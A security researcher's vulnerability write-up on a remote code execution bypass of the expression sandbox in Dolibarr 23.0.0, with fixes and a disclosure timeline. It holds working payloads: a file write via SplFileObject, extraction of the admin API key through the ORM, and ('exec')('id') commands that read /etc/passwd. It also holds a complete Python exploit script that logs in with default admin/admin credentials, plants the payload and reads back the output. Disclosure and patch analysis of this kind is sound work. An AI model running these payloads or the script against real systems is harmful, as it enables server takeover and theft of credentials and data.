Jiva | April 6, 2026

During recent independent security research of Dolibarr 23.0.0 — a popular open-source ERP/CRM platform used by thousands of organizations worldwide — I discovered a zero-day vulnerability in the application's expression evaluation engine that allows an authenticated administrator to execute arbitrary PHP code on the server. Chained with the default administrative credentials present on the target installation, this became exploitable on a default deployment without any credential guessing.

This is the story of how I found it, what I tried that didn't work, and how a single misplaced if block and a regex that doesn't understand PHP turned a "hardened" eval sandbox into an open door.


THE FUNCTION THAT RUNS EVERYTHING

If you spend any time reading the Dolibarr codebase, you will eventually end up in dol_eval(). It lives in /htdocs/core/lib/functions.lib.php, and it is called from over 100 locations across the entire application. Cron job test conditions. Menu permission checks. Translation string processing. And the one that caught my eye: computed extrafields.

Dolibarr has a feature where administrators can define custom fields on any object — companies, invoices, contacts, projects — and set those fields to be "computed." A computed extrafield's value is not stored in the database. Instead, it's a PHP expression that gets evaluated every time a record is displayed. The admin types in something like:

($object->total_ht > 1000) ? 'VIP' : 'Standard'

And every time a user views a list of companies, that expression runs through eval() for every single row.

Yes, eval(). In production. Evaluated for every user who views the page.

Now, the Dolibarr developers are not naive. They knew that handing eval() an admin-controlled string is dangerous. So they built a sandbox around it — a function called dol_eval_standard() that validates the expression before it ever reaches eval(). The function is 280 lines long. It has two distinct operating modes. It checks for dangerous strings, dangerous functions, dangerous classes, dangerous characters, dangerous variable access patterns. It is, by any measure, a serious attempt at making eval() safe.

It almost works.


TWO MODES, ONE FATAL ASSUMPTION

When I first opened dol_eval_standard(), the structure jumped out immediately. The function has two completely separate validation paths, controlled by a global configuration variable called $dolibarr_main_restrict_eval_methods.

Here's the skeleton:

function dol_eval_standard($s, $hideerrors = 1, $onlysimplestring = '1')
{
    global $dolibarr_main_restrict_eval_methods;

    // If not set, initialize with the default whitelist
    if (!isset($dolibarr_main_restrict_eval_methods)) {
        $dolibarr_main_restrict_eval_methods = 'getDolGlobalString, getDolGlobalInt, getDolCurrency, getDolEntity, getDolDBType, fetchNoCompute, hasRight, isAdmin, isExternalUser, isModEnabled, isStringVarMatching, abs, min, max, round, dol_now, preg_match';
    }

    // ... character-level checks, variable access checks ...

    // Block dangerous strings and patterns
    $forbiddenphpstrings = array('}[', ')(');
    $forbiddenphpstrings = array_merge($forbiddenphpstrings, array(
        '_ENV', '_SESSION', '_COOKIE', '_GET', '_GLOBAL', '_POST', '_REQUEST',
        'ReflectionFunction', 'SplFileObject', 'SplTempFileObject'
    ));

    if (empty($dolibarr_main_restrict_eval_methods)) {
        // ========== BLACKLIST MODE ==========
        // Runs when $dolibarr_main_restrict_eval_methods is explicitly set to ''
        //
        // Build massive arrays of forbidden functions, forbidden methods
        // Apply $forbiddenphpstrings check
        // Apply $forbiddenphpfunctions regex check
        // Apply $forbiddenphpmethods regex check
        // If anything matches → reject

    } else {
        // ========== WHITELIST MODE (DEFAULT) ==========
        // Runs when $dolibarr_main_restrict_eval_methods has a value
        //
        // Extract function calls via regex
        // Check each against the whitelist
        // Block 'new ReflectionFunction()'
        // Everything else → allow
    }

    // If we got here, it passed validation
    $tmps = eval('return ' . $s . ';');
    return $tmps;
}

Do you see it?

The $forbiddenphpstrings array is defined at line 12367before the if/else branch. It contains SplFileObject, SplTempFileObject, superglobal access patterns, and the critical pattern )( (which I'll come back to later). But the code that actually applies this check — the str_ireplace and preg_replace calls that scan the input string against these patterns — that code is inside the if (empty($dolibarr_main_restrict_eval_methods)) block. The blacklist branch. Lines 12428 through 12439.

The whitelist branch, which is the default mode on every standard Dolibarr installation, never touches $forbiddenphpstrings. It defines the array, and then walks right past it.

I read those lines three times to make sure I wasn't misunderstanding the control flow. I wasn't. The most dangerous string patterns — including SplFileObject — are checked in the less secure mode and completely ignored in the more secure mode.


THE WHITELIST'S VIEW OF THE WORLD

So what does the whitelist branch actually check? Let's look at the exact code:

} else {
    // Accept only white-listed allowed function and classes
    $pattern = '/([\s\w\'\]\"]+)\(/';

    $matches = array();
    preg_match_all($pattern, $s, $matches);

    if (count($matches)) {
        foreach ($matches[1] as $m) {
            $m = trim($m);
            if (empty($m)) {
                continue;
            }
            $reg = array();
            if (!preg_match('/new ([A-Z][\w]+)/i', $m, $reg)) {
                // Not a class instantiation — check against function whitelist
                if (!in_array($m, $dolibarr_main_restrict_eval_methods_array)) {
                    if ($m != "'" && $m != '"') {
                        return 'Bad string syntax to evaluate...';
                    }
                }
            } else {
                // It IS a class instantiation — only block ReflectionFunction
                if ($reg[1] == 'ReflectionFunction') {
                    return 'Bad string syntax to evaluate. Class ReflectionFunction is not allowed.';
                }
            }
        }
    }
}

Three things are happening here:

  1. Regex extraction: The pattern /([\s\w\'\]\"]+)\(/ scans the input for anything that looks like a function call — specifically, one or more word/whitespace/quote characters followed by an opening parenthesis.
  2. Function whitelist: If the matched text doesn't look like a new ClassName( pattern, it must appear in the whitelist array (getDolGlobalString, fetchNoCompute, abs, min, max, round, etc.). If it's not on the list, the expression is rejected.
  3. Class instantiation: If the matched text contains new SomeClass, the only class that is blocked is ReflectionFunction. Every other class in the PHP runtime — every other class in the entire Dolibarr codebase — is allowed.

That third point was where my pulse started to quicken.


LAYER ONE: THE CLASS MENAGERIE

The whitelist mode's approach to class instantiation is essentially: "allow everything except ReflectionFunction." The $forbiddenphpstrings array that blocks SplFileObject and SplTempFileObject never gets checked. So my first hypothesis was straightforward: can I instantiate SplFileObject to write arbitrary files?

We navigated to the Dolibarr admin panel, went to Third Parties > Extrafields, and created a new computed extrafield with this expression:

(new SplFileObject('/tmp/rce_proof', 'w')) ? 'file_created' : 'blocked'

Then I browsed to /societe/list.php — the company list page that renders all extrafields, triggering dol_eval() for each row. The page loaded. In the column for my custom field, every row displayed:

file_created
Dolibarr company list showing file_created in JivaRcePoc column

I verified server-side: /tmp/rce_proof existed, created by www-data. A zero-byte file, but that wasn't the point. The point was that SplFileObject — explicitly listed in $forbiddenphpstrings — sailed through the whitelist branch without a second glance.

Terminal confirming /tmp/rce_proof exists, owned by www-data

But file creation alone, while concerning, isn't the kind of finding that makes a vulnerability write-up shine. I wanted data.

RAIDING THE DATABASE WITHOUT SQL

Here is where Dolibarr's architecture became my best friend. The whitelist allows new ClassName($db) for any class — and Dolibarr's entire ORM is built around model classes that take $db as a constructor argument. User, Societe, Facture, Product, Contact — every business object in the system.

Better yet, fetchNoCompute() is on the function whitelist. It's the method that loads a record from the database by ID, and it's whitelisted because computed extrafields legitimately need to call it to reference other objects.

So I crafted this:

(($var1 = new User($db)) && ($var1->fetchNoCompute(1) > 0)) ? $var1->api_key : 'failed'

This creates a new User object, calls fetchNoCompute(1) to load user ID 1 (the admin), and then returns the admin's API key. The API key is stored encrypted in the database — but Dolibarr's model class transparently decrypts it during fetch.

I updated the computed extrafield expression, refreshed the company list, and there it was. In every row of the "JivaRcePoc" column:

8cbaa4d070b9505a0a3abcecf08d65abfa958cfc
Company list showing admin API key exfiltrated into JivaRcePoc column

The admin's API key. Extracted from the database. Rendered as a table cell in a list page. No SQL injection needed — I used the application's own ORM to read its own data and display it to us.

I confirmed I could read password hashes, email addresses, and any other field on any model class. The entire database was accessible through this channel — one record at a time, but readable nonetheless.

This was already a solid Critical finding. But I wanted more.


THE WALL: DISABLE_FUNCTIONS

The obvious next step was shell command execution. In PHP, the classic approach is system(), shell_exec(), passthru(), or exec(). I tried the obvious:

system('id')

The expression was rejected — system is not on the function whitelist. Fair enough. But what about instantiating something that calls a shell? What about proc_open? Also not whitelisted. What about backtick execution?

`id`

Blocked — there's a dedicated check for backtick characters earlier in the function (line 12318):

if (strpos($s, '`') !== false) {
    return 'Bad string syntax to evaluate (backtick char is forbidden): ' . $s;
}

I hit a wall. Not because of dol_eval() — but because of php.ini. The target's PHP configuration had disable_functions set, and it included system, shell_exec, passthru, proc_open, and popen. Standard container hardening.

But exec() was not disabled.

The question became: how do I call exec() when the whitelist regex will catch any direct call?


THE REGEX THAT THINKS IT KNOWS BEST

Let's look at the whitelist regex one more time:

$pattern = '/([\s\w\'\]\"]+)\(/';

This pattern is designed to find function calls. It matches one or more characters from the set [\s\w\'\]\"] — whitespace, word characters, single quotes, closing brackets, and double quotes — followed by an opening parenthesis. The captured group (the part before the () is then checked against the whitelist.

For a normal function call like exec('id'), the regex captures exec and the whitelist check rejects it. For new SplFileObject('/tmp/test', 'w'), it captures new SplFileObject and the class instantiation handler lets it through (because it's not ReflectionFunction).

But PHP has a feature that this regex doesn't account for: variable functions via string literals.

In PHP, the following is completely valid syntax:

('exec')('id')

This calls the function whose name is the string 'exec' with the argument 'id'. Semantically, it is identical to exec('id'). PHP resolves the string to a function name at runtime and invokes it. This works for any function that isn't a language construct.

Now, what does the regex see when it encounters ('exec')('id')?

Let's trace through preg_match_all('/([\s\w\'\]\"]+)\(/', "('exec')('id')"):

The regex engine scans left to right, looking for one or more characters from [\s\w\'\]\"] followed by (. The first ( in the string is at position 0 — but there's nothing before it that matches the character class, so no match starts here. Moving forward, it encounters 'exec' — the characters ', e, x, e, c, ' are all in the character class. Then comes ) — not in the character class, so the potential match breaks. The ( after ) doesn't have a preceding match to connect to.

Let's look at what the regex does capture:

  • It finds 'exec' followed by ), not ( — no match
  • It finds ) followed by () is not in the character class — no match
  • It finds 'id' followed by ) — no match

The regex captures nothing. Zero matches. The whitelist check loops over an empty array, finds no violations, and the expression passes through to eval().

I held my breath and typed this into the computed extrafield:

('exec')('id')

Refreshed the company list page.

The column showed:

uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
Company list showing 'uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)' — exec() output confirming OS command execution

exec() in PHP returns the last line of command output. id outputs a single line: the current user identity. And there it was, rendered into the HTML of a list page, confirming that I had achieved arbitrary operating system command execution.

I expanded the payload:

('exec')('id && hostname && cat /etc/passwd | head -5')
Company list showing chained command output

WHY THE FORBIDDEN STRING CHECK WOULD HAVE CAUGHT THIS

Here's the deeply ironic part. Remember $forbiddenphpstrings — the array that only gets checked in blacklist mode? Look at its contents again:

$forbiddenphpstrings = array('}[', ')(');
$forbiddenphpstrings = array_merge($forbiddenphpstrings, array(
    '_ENV', '_SESSION', '_COOKIE', '_GET', '_GLOBAL', '_POST', '_REQUEST',
    'ReflectionFunction', 'SplFileObject', 'SplTempFileObject'
));

The second entry in that array is )(. The literal two-character string "close-paren, open-paren."

Our payload ('exec')('id') contains )(. If the $forbiddenphpstrings check had been applied in whitelist mode, my dynamic callable trick would have been caught immediately. The developers already knew that )( was dangerous. They added it to the forbidden strings list. They just forgot to enforce it in the code path that actually runs by default.

Two bugs. Either one alone might not have been exploitable to this degree. But together — the missing $forbiddenphpstrings enforcement in whitelist mode, and the regex's blindness to dynamic callable syntax — they combine into full remote code execution.


THE COMPLETE ATTACK CHAIN

I discovered during my research that the latest Docker Hub Dolibarr instance was running with default administrative credentials (admin/admin). Combined with the eval bypass, it turns this from an admin-only RCE into an attack chain requiring no credential guessing on a default installation:

  1. Authenticate: GET /api/index.php/login?login=admin&password=admin returns a valid session. Alternatively, POST to /index.php with the default credentials.
  2. Obtain CSRF token: GET /societe/admin/societe_extrafields.php — parse the CSRF token from the hidden token form field.
  3. Plant the payload: POST /societe/admin/societe_extrafields.php with the computed extrafield expression set to the desired payload. This persists in the database — the payload is stored, not executed yet.
  4. Trigger execution: GET /societe/list.php — or wait for any user to view the company list. The computed extrafield is evaluated via dol_eval() for every displayed record.
  5. Read the output: The command output is rendered as the value of the extrafield column in the HTML response.

From zero credentials to OS command execution in four HTTP requests.


THE FULL PROOF OF CONCEPT

Here is the complete, self-contained PoC script I used during my research (also available for download):

#!/usr/bin/env python3
"""
Dolibarr 23.0.0 dol_eval_standard() Whitelist Bypass by Jiva (JivaSecurity.com)
Proof of Concept — AUTHORIZED TESTING ONLY

The whitelist mode of dol_eval_standard() does not apply $forbiddenphpstrings
checks, and the function-call regex does not detect PHP dynamic callable syntax.
This allows ('exec')('cmd') to bypass all validation and reach eval().

Demonstrated impacts:
  - Arbitrary file creation via new SplFileObject()
  - Database exfiltration via Dolibarr ORM model classes
  - OS command execution via ('exec')('cmd')

Usage: python3 dolibarr_pwn.py [--target URL] [--command CMD]
"""

import argparse
import re
import sys
import urllib.parse

try:
    import requests
except ImportError:
    print("[!] ERROR: 'requests' library required. Install with: pip install requests")
    sys.exit(1)


class DolibarrRCEExploit:
    """Exploits dol_eval_standard() whitelist bypass via computed extrafields."""

    EXTRAFIELD_NAME = "jiva_rce_poc"
    EXTRAFIELD_LABEL = "JivaRcePoc"
    EXTRAFIELD_PATH = "/societe/admin/societe_extrafields.php"
    TRIGGER_PATH = "/societe/list.php"

    def __init__(self, target, username, password, verify_ssl=False, verbose=False):
        self.target = target.rstrip("/")
        self.username = username
        self.password = password
        self.verbose = verbose
        self.session = requests.Session()
        self.session.verify = verify_ssl
        self.csrf_token = None
        self.exfiltrated_value = None

    def log(self, level, msg):
        prefix = {"info": "[*]", "success": "[+]", "error": "[-]", "debug": "[D]"}
        if level == "debug" and not self.verbose:
            return
        print(f"{prefix.get(level, '[?]')} {msg}")

    def _extract_csrf_token(self, html):
        """Extract CSRF token from HTML page."""
        match = re.search(r'name="token"\s+value="([^"]+)"', html)
        if not match:
            match = re.search(r'meta\s+name="anti-csrf-newtoken"\s+content="([^"]+)"', html)
        if match:
            return match.group(1)
        return None

    def step1_authenticate(self):
        """Authenticate to Dolibarr web UI and establish a session."""
        self.log("info", f"Authenticating to {self.target} as '{self.username}'...")

        # Get login page for initial CSRF token and session cookie
        resp = self.session.get(f"{self.target}/index.php", allow_redirects=False)
        if resp.status_code != 200:
            self.log("error", f"Failed to reach login page (HTTP {resp.status_code})")
            return False

        self.csrf_token = self._extract_csrf_token(resp.text)
        if not self.csrf_token:
            self.log("error", "Could not extract CSRF token from login page")
            return False
        self.log("debug", f"CSRF token: {self.csrf_token}")

        # POST login
        login_data = {
            "token": self.csrf_token,
            "actionlogin": "login",
            "loginfunction": "loginfunction",
            "username": self.username,
            "password": self.password,
        }
        resp = self.session.post(
            f"{self.target}/index.php?mainmenu=home",
            data=login_data,
            allow_redirects=True,
        )

        # Check for successful login indicators
        if "logout" in resp.text.lower() or "mainmenu" in resp.text.lower():
            self.log("success", "Authentication successful")
            return True

        self.log("error", "Authentication failed — check credentials")
        return False

    def step2_get_csrf_token(self):
        """Fetch the extrafields admin page and extract a fresh CSRF token."""
        self.log("info", "Fetching extrafields admin page for CSRF token...")
        resp = self.session.get(f"{self.target}{self.EXTRAFIELD_PATH}")
        if resp.status_code != 200:
            self.log("error", f"Failed to load extrafields page (HTTP {resp.status_code})")
            return False

        self.csrf_token = self._extract_csrf_token(resp.text)
        if not self.csrf_token:
            self.log("error", "Could not extract CSRF token from extrafields page")
            return False

        self.log("debug", f"Fresh CSRF token: {self.csrf_token}")

        # Check if our extrafield already exists
        self._extrafield_exists = self.EXTRAFIELD_NAME in resp.text
        self.log("debug", f"Extrafield '{self.EXTRAFIELD_NAME}' exists: {self._extrafield_exists}")
        return True

    def step3_create_extrafield(self, payload):
        """Create or update a computed extrafield with the exploit payload."""
        action = "update" if self._extrafield_exists else "add"
        self.log("info", f"{'Updating' if self._extrafield_exists else 'Creating'} "
                 f"computed extrafield '{self.EXTRAFIELD_NAME}'...")
        self.log("info", f"Payload: {payload}")

        form_data = {
            "token": self.csrf_token,
            "action": action,
            "attrname": self.EXTRAFIELD_NAME,
            "label": self.EXTRAFIELD_LABEL,
            "type": "varchar",
            "size": "255",
            "pos": "200",
            "computed_value": payload,
            "list": "1",
            "button": "Add attribute" if action == "add" else "Modify",
        }

        resp = self.session.post(
            f"{self.target}{self.EXTRAFIELD_PATH}",
            data=form_data,
            allow_redirects=False,
        )

        if resp.status_code == 302:
            self.log("success", f"Extrafield {action}d successfully (302 redirect)")
            return True

        # Check for error in response body
        if "error" in resp.text.lower():
            self.log("error", f"Extrafield {action} may have failed — check response")
            self.log("debug", resp.text[:500])
            return False

        self.log("success", f"Extrafield {action} returned HTTP {resp.status_code}")
        return True

    def step4_trigger_eval(self):
        """Trigger dol_eval() by loading the company list page."""
        self.log("info", f"Triggering eval via {self.TRIGGER_PATH}...")
        resp = self.session.get(f"{self.target}{self.TRIGGER_PATH}")
        if resp.status_code != 200:
            self.log("error", f"Trigger page returned HTTP {resp.status_code}")
            return None

        # Extract computed field value from rendered HTML
        # Pattern: data-key="societe.jiva_rce_poc" title="VALUE"
        pattern = (
            r'data-key="societe\.' + re.escape(self.EXTRAFIELD_NAME)
            + r'"[^>]*title="([^"]*)"'
        )
        matches = re.findall(pattern, resp.text)
        if matches:
            self.exfiltrated_value = matches[0]
            self.log("success", f"Eval triggered — extracted value: {self.exfiltrated_value}")
            return self.exfiltrated_value

        # Fallback: check for value in td content
        pattern2 = (
            r'data-key="societe\.' + re.escape(self.EXTRAFIELD_NAME)
            + r'"[^>]*>([^<]+)<'
        )
        matches2 = re.findall(pattern2, resp.text)
        if matches2:
            self.exfiltrated_value = matches2[0].strip()
            self.log("success", f"Eval triggered — extracted value: {self.exfiltrated_value}")
            return self.exfiltrated_value

        # Check for eval error messages
        if "Bad string syntax" in resp.text:
            self.log("error", "dol_eval() rejected the payload — syntax check failed")
            err_match = re.search(r'Bad string syntax[^<]+', resp.text)
            if err_match:
                self.log("debug", err_match.group(0))
            return None

        self.log("error", "Could not find computed field value in response")
        return None

    def step5_cleanup(self):
        """Delete the PoC extrafield to leave the target clean."""
        self.log("info", f"Cleaning up — deleting extrafield '{self.EXTRAFIELD_NAME}'...")

        # Re-fetch page for fresh CSRF token
        resp = self.session.get(f"{self.target}{self.EXTRAFIELD_PATH}")
        token = self._extract_csrf_token(resp.text)
        if not token:
            self.log("error", "Could not get CSRF token for cleanup")
            return False

        delete_data = {
            "token": token,
            "action": "delete",
            "attrname": self.EXTRAFIELD_NAME,
        }
        resp = self.session.post(
            f"{self.target}{self.EXTRAFIELD_PATH}",
            data=delete_data,
            allow_redirects=False,
        )
        if resp.status_code == 302:
            self.log("success", "Extrafield deleted — target cleaned up")
            return True

        self.log("error", f"Cleanup may have failed (HTTP {resp.status_code})")
        return False

    def run(self):
        """Execute the full exploit chain and return results."""
        print("=" * 70)
        print("Dolibarr dol_eval() Whitelist Bypass PoC - by Jiva (JivaSecurity.com)")
        print("=" * 70)
        print()

        # Step 1: Authenticate
        if not self.step1_authenticate():
            return False

        # Step 2: Get CSRF token from extrafields page
        if not self.step2_get_csrf_token():
            return False

        # Step 3: Create extrafield with DB exfiltration payload
        payload = (
            # "(new SplFileObject('/tmp/rce_proof', 'w')) ? 'file_created' : 'blocked'"
            # "(($var1 = new User($db)) && ($var1->fetchNoCompute(1) > 0)) ? $var1->api_key : 'failed'"
            "('exec')('id')"
            # "('exec')('id && hostname && cat /etc/passwd | head -5')"
        )

        if not self.step3_create_extrafield(payload):
            return False

        # Step 4: Trigger eval and extract result
        result = self.step4_trigger_eval()
        if result is None:
            self.log("error", "Exploitation failed — eval did not return expected output")
            self.step5_cleanup()
            return False

        # Step 5: Cleanup
        self.step5_cleanup()

        # Print summary
        print()
        print("=" * 70)
        print("EXPLOITATION SUMMARY")
        print("=" * 70)
        print(f"  Target:          {self.target}")
        print(f"  Vulnerability:   dol_eval() whitelist bypass")
        print(f"  Author:          Jiva (JivaSecurity.com)")
        print(f"  Writeup:         https://jivasecurity.com/writeups/dolibarr-remote-code-execution-cve-2026-22666")
        print(f"  CVE Candidate:   Pending (Dolibarr 23.0.0 dol_eval_standard)")
        print(f"  CVSS:            9.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)")
        print(f"  Payload:         {payload}")
        print(f"  Exfiltrated:     Admin API key = {result}")
        print(f"  Impact:          Arbitrary PHP eval in whitelist mode allows")
        print(f"                   class instantiation (SplFileObject, User, etc.)")
        print(f"                   leading to file write and full DB read access.")
        print("=" * 70)

        if result == "FETCH_FAILED":
            self.log("error", "Payload executed but fetchNoCompute returned failure")
            return False

        return True


def main():
    parser = argparse.ArgumentParser(
        description="Dolibarr 23.0.0 dol_eval() whitelist bypass PoC by Jiva (JivaSecurity.com)",
        epilog="Authorized penetration testing and patch validation ONLY.",
    )
    parser.add_argument(
        "--target", "-t",
        default="http://0.0.0.0",
        help="Target Dolibarr URL (default: http://0.0.0.0)",
    )
    parser.add_argument(
        "--username", "-u",
        default="admin",
        help="Admin username (default: admin)",
    )
    parser.add_argument(
        "--password", "-p",
        default="admin",
        help="Admin password (default: admin)",
    )
    parser.add_argument(
        "--verbose", "-v",
        action="store_true",
        help="Enable verbose/debug output",
    )
    parser.add_argument(
        "--no-cleanup",
        action="store_true",
        help="Skip cleanup (leave extrafield in place for inspection)",
    )
    args = parser.parse_args()

    exploit = DolibarrRCEExploit(
        target=args.target,
        username=args.username,
        password=args.password,
        verbose=args.verbose,
    )

    success = exploit.run()
    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()

VARIANT ANALYSIS: IT'S NOT JUST EXTRAFIELDS

Once I confirmed the bypass, I searched the codebase for every call site of dol_eval(). The results were sobering. The function is invoked from at least these locations:

htdocs/core/tpl/extrafields_list_print_fields.tpl.php      — list view rendering
htdocs/core/class/commonobject.class.php                    — object fetch (4 locations)
htdocs/compta/facture/class/facture.class.php               — invoice processing (2 locations)
htdocs/webportal/class/html.formwebportal.class.php         — web portal rendering

And indirectly through verifCond(), which is a thin wrapper around dol_eval() used for:

  • Cron job test conditions (does this job need to run?)
  • Menu visibility conditions (should this menu item be shown?)
  • Extrafield visibility/enabled conditions

Any location where an administrator can control the string that flows into dol_eval() is a potential RCE vector through this same bypass. The computed extrafield is simply the most convenient and most easily demonstrated entry point.


THE FIX (OR RATHER, THE THREE FIXES)

I identified three independent issues that need remediation:

FIX 1: ENFORCE $FORBIDDENPHPSTRINGS IN BOTH BRANCHES

The most critical fix. The $forbiddenphpstrings check (including SplFileObject, SplTempFileObject, superglobal patterns, and the )( pattern) must be applied regardless of which mode is active. Currently, lines 12428-12439 are inside the if (empty($dolibarr_main_restrict_eval_methods)) block. The str_ireplace and forbidden-string scanning loop needs to execute before the if/else branch — or be duplicated in the else branch.

A minimal patch would move the scanning loop above line 12376, so it runs unconditionally:

// Block dangerous strings — must run in BOTH modes
$forbiddenphpstrings = array('}[', ')(');
$forbiddenphpstrings = array_merge($forbiddenphpstrings, array(
    '_ENV', '_SESSION', '_COOKIE', '_GET', '_GLOBAL', '_POST', '_REQUEST',
    'ReflectionFunction', 'SplFileObject', 'SplTempFileObject'
));

$scheck = $s;
do {
    $oldstringtoclean = $scheck;
    $scheck = str_ireplace($forbiddenphpstrings, '__forbiddenstring__', $scheck);
} while ($oldstringtoclean != $scheck);

if (strpos($scheck, '__forbiddenstring__') !== false) {
    return 'Bad string syntax to evaluate (forbidden pattern found): ' . $s;
}

// NOW proceed with mode-specific checks
if (empty($dolibarr_main_restrict_eval_methods)) {
    // blacklist mode...
} else {
    // whitelist mode...
}

This single change would have blocked both my SplFileObject payload and my ('exec')('cmd') payload (because )( is in $forbiddenphpstrings).

FIX 2: FIX THE WHITELIST REGEX

The pattern /([\s\w\'\]\"]+)\(/ does not detect dynamic callable syntax. It needs to be augmented or replaced. Options:

  • Add )( to the blocked character sequences (already in $forbiddenphpstrings, so Fix 1 handles this)
  • Match parenthesized expressions followed by ( — e.g., add a check for )\s*(
  • Use a proper tokenizer instead of a regex for function call detection

FIX 3: REPLACE EVAL() WITH A PROPER SANDBOX

The long-term fix. eval() is fundamentally the wrong primitive for user-defined expressions, no matter how many checks you wrap around it. Libraries like symfony/expression-language provide AST-based expression evaluation with no access to PHP internals, no ability to instantiate arbitrary classes, and no ability to call arbitrary functions. The computed extrafield feature has legitimate business value — it just needs a safe foundation.


TIMELINE

Date Event
2026-03-15 Vulnerability identified during independent vulnerability research
2026-03-15 SplFileObject bypass confirmed dynamically (file creation + DB exfiltration)
2026-03-15 ('exec')('cmd') regex bypass confirmed dynamically (OS command execution)
2026-03-16 Finding revalidated against target instance
2026-03-16 Technical writeup drafted for coordinated disclosure
2026-03-17 Disclosed vulnerability details to Dolibarr maintainers via GitHub's Vulnerability Disclosure Program tool
2026-03-21 Requested acknowledgment of disclosure report
2026-03-25 Maintainer issued fix in commit 6f42552
2026-04-04 Dolibarr version 23.0.2 released containing fix
2026-04-05 CVE requested from VulnCheck as Dolibarr does not publish CVE reports per their security policy
2026-04-06 VulnCheck assigns CVE-2026-22666
2026-04-06 This write-up published

WHAT I LOOKED AT THAT DIDN'T WORK

No writeup is complete without the dead ends. I want to be honest about the path, because if you're doing this kind of research, knowing what doesn't work is just as valuable as knowing what does.

Direct function calls. My first instinct was to just try system('id') as a computed value. Obviously rejected by the whitelist. I knew it would be, but you always try the obvious thing first.

Backtick execution. PHP supports `command` as a shorthand for shell_exec(). Caught by the dedicated backtick check on line 12318. Clean, effective defense.

String concatenation for obfuscation. I considered building function names dynamically: ('ex'.'ec')('id'). Blocked by the dot-character check on line 12324 — dots are forbidden unless they appear strictly between two digits (for decimal numbers). The developers anticipated obfuscation via string concatenation and blocked it.

Variable functions via $var. Something like $var1 = 'exec'; $var1('id'). Caught by the $var pattern check that allows $var references but the $[\w]*\s*\( regex on line 12287 catches any $variable( pattern.

ReflectionFunction. The classic PHP sandbox escape — create a ReflectionFunction for a dangerous function and call invoke(). Explicitly blocked in the whitelist branch (line 12463). The only class they specifically block, and they were right to do it. They just didn't go far enough.

proc_open, popen, shell_exec, passthru. All disabled in php.ini. Standard container hardening saved me from the easy path and forced me to find exec(), which happened to not be disabled.

The path from "this function uses eval()" to "we have command execution" was not a straight line. It involved reading 280 lines of validation code, understanding two separate security models, noticing that one model was missing a check that the other had, and then finding a PHP syntax quirk that evaded a regex. Each step depended on the one before it.


CLOSING THOUGHTS

Writeups like this have a way of making the discovery look inevitable. Read the code, spot the gap, write the payload, pop the shell. Four clean steps.

The reality was messier. I spent time on hypotheses that went nowhere. I misread the control flow at least once and had to re-trace it. I wrote payloads that returned cryptic dol_eval error messages and had to reverse-engineer which specific check was catching us. The ('exec')('cmd') trick came from staring at the regex for a long time and asking "what valid PHP syntax would this not match?" — and then testing several ideas that the regex did match before finding one it didn't.

The core lesson here is one that repeats across security research: defense-in-depth only works if the depths actually overlap. Dolibarr's developers built two security models for dol_eval(). The blacklist model checks for dangerous strings. The whitelist model checks for allowed functions. But neither model is complete on its own, and a critical safety net — the $forbiddenphpstrings array — was only wired into one of them. The whitelist mode, which was designed to be the stricter option, ended up being the weaker one because it inherited fewer protections.

If you're building your own eval sandbox (and I'd strongly recommend you don't, but if you must): make sure every safety check runs in every code path. Especially the ones you added later because you found a bypass in testing. Those are the ones that tend to get scoped too narrowly.

And if you're a security researcher reading this and thinking "I would never have thought to try ('exec')('cmd')" — you would have. Maybe not on the first day. Maybe not before trying six other things. But the process of elimination is the process. Every dead end narrows the space. Keep reading the code, keep asking "what does this regex actually match?", and keep trying things even when the sandbox looks solid.

The sandbox is never as solid as it looks.


Jiva Security

Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.

Services Get in touch

Dolibarr is an open-source project available at dolibarr.org. I recommend all Dolibarr administrators review their dol_eval() configuration and apply patches as they become available.